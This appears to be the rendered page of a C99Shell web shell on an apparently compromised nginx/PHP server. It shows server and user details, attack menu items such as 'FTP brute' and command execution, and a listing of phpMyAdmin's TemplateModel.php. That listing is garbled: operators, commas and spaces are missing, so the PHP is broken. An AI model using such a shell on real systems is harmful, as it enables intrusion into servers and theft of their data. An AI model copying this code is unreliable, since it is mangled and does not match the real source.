!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Export/   drwxr-xr-x
Free 83.23 GB of 96.73 GB (86.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TemplateModel.php (4.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Export;

use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Util;
use function 
sprintf;

final class 
TemplateModel
{
    
/** @var DatabaseInterface */
    
private $dbi;

    public function 
__construct(DatabaseInterface $dbi)
    {
        
$this->dbi $dbi;
    }

    
/** @return bool|string */
    
public function create(string $dbstring $tableTemplate $template)
    {
        
$query sprintf(
            
'INSERT INTO %s.%s (`username`, `export_type`, `template_name`, `template_data`)'
                
' VALUES (\'%s\', \'%s\', \'%s\', \'%s\');',
            
Util::backquote($db),
            
Util::backquote($table),
            
$this->dbi->escapeString($template->getUsername()),
            
$this->dbi->escapeString($template->getExportType()),
            
$this->dbi->escapeString($template->getName()),
            
$this->dbi->escapeString($template->getData())
        );
        
$result $this->dbi->tryQuery(
            
$query,
            
DatabaseInterface::CONNECT_CONTROL,
            
0,
            
false
        
);

        if (
$result === false) {
            return 
$this->dbi->getError(DatabaseInterface::CONNECT_CONTROL);
        }

        return 
true;
    }

    
/** @return bool|string */
    
public function delete(string $dbstring $tablestring $userint $id)
    {
        
$query sprintf(
            
'DELETE FROM %s.%s WHERE `id` = %s AND `username` = \'%s\';',
            
Util::backquote($db),
            
Util::backquote($table),
            
$id,
            
$this->dbi->escapeString($user)
        );
        
$result $this->dbi->tryQuery(
            
$query,
            
DatabaseInterface::CONNECT_CONTROL,
            
0,
            
false
        
);

        if (
$result === false) {
            return 
$this->dbi->getError(DatabaseInterface::CONNECT_CONTROL);
        }

        return 
true;
    }

    
/** @return Template|string|bool */
    
public function load(string $dbstring $tablestring $userint $id)
    {
        
$query sprintf(
            
'SELECT * FROM %s.%s WHERE `id` = %s AND `username` = \'%s\';',
            
Util::backquote($db),
            
Util::backquote($table),
            
$id,
            
$this->dbi->escapeString($user)
        );
        
$result $this->dbi->tryQuery(
            
$query,
            
DatabaseInterface::CONNECT_CONTROL,
            
0,
            
false
        
);

        if (
$result === false) {
            return 
$this->dbi->getError(DatabaseInterface::CONNECT_CONTROL);
        }

        
$data = [];
        while (
$row $this->dbi->fetchAssoc($result)) {
            
$data $row;
        }

        
$this->dbi->freeResult($result);

        return 
Template::fromArray([
            
'id' => (int) $data['id'],
            
'username' => $data['username'],
            
'exportType' => $data['export_type'],
            
'name' => $data['template_name'],
            
'data' => $data['template_data'],
        ]);
    }

    
/** @return bool|string */
    
public function update(string $dbstring $tableTemplate $template)
    {
        
$query sprintf(
            
'UPDATE %s.%s SET `template_data` = \'%s\' WHERE `id` = %s AND `username` = \'%s\';',
            
Util::backquote($db),
            
Util::backquote($table),
            
$this->dbi->escapeString($template->getData()),
            
$template->getId(),
            
$this->dbi->escapeString($template->getUsername())
        );
        
$result $this->dbi->tryQuery(
            
$query,
            
DatabaseInterface::CONNECT_CONTROL,
            
0,
            
false
        
);

        if (
$result === false) {
            return 
$this->dbi->getError(DatabaseInterface::CONNECT_CONTROL);
        }

        return 
true;
    }

    
/** @return Template[]|string|bool */
    
public function getAll(string $dbstring $tablestring $userstring $exportType)
    {
        
$query sprintf(
            
'SELECT * FROM %s.%s WHERE `username` = \'%s\' AND `export_type` = \'%s\' ORDER BY `template_name`;',
            
Util::backquote($db),
            
Util::backquote($table),
            
$this->dbi->escapeString($user),
            
$this->dbi->escapeString($exportType)
        );
        
$result $this->dbi->tryQuery(
            
$query,
            
DatabaseInterface::CONNECT_CONTROL,
            
0,
            
false
        
);

        if (
$result === false) {
            return 
$this->dbi->getError(DatabaseInterface::CONNECT_CONTROL);
        }

        
$templates = [];
        while (
$row $this->dbi->fetchAssoc($result)) {
            
$templates[] = Template::fromArray([
                
'id' => (int) $row['id'],
                
'username' => $row['username'],
                
'exportType' => $row['export_type'],
                
'name' => $row['template_name'],
                
'data' => $row['template_data'],
            ]);
        }

        
$this->dbi->freeResult($result);

        return 
$templates;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0032 ]--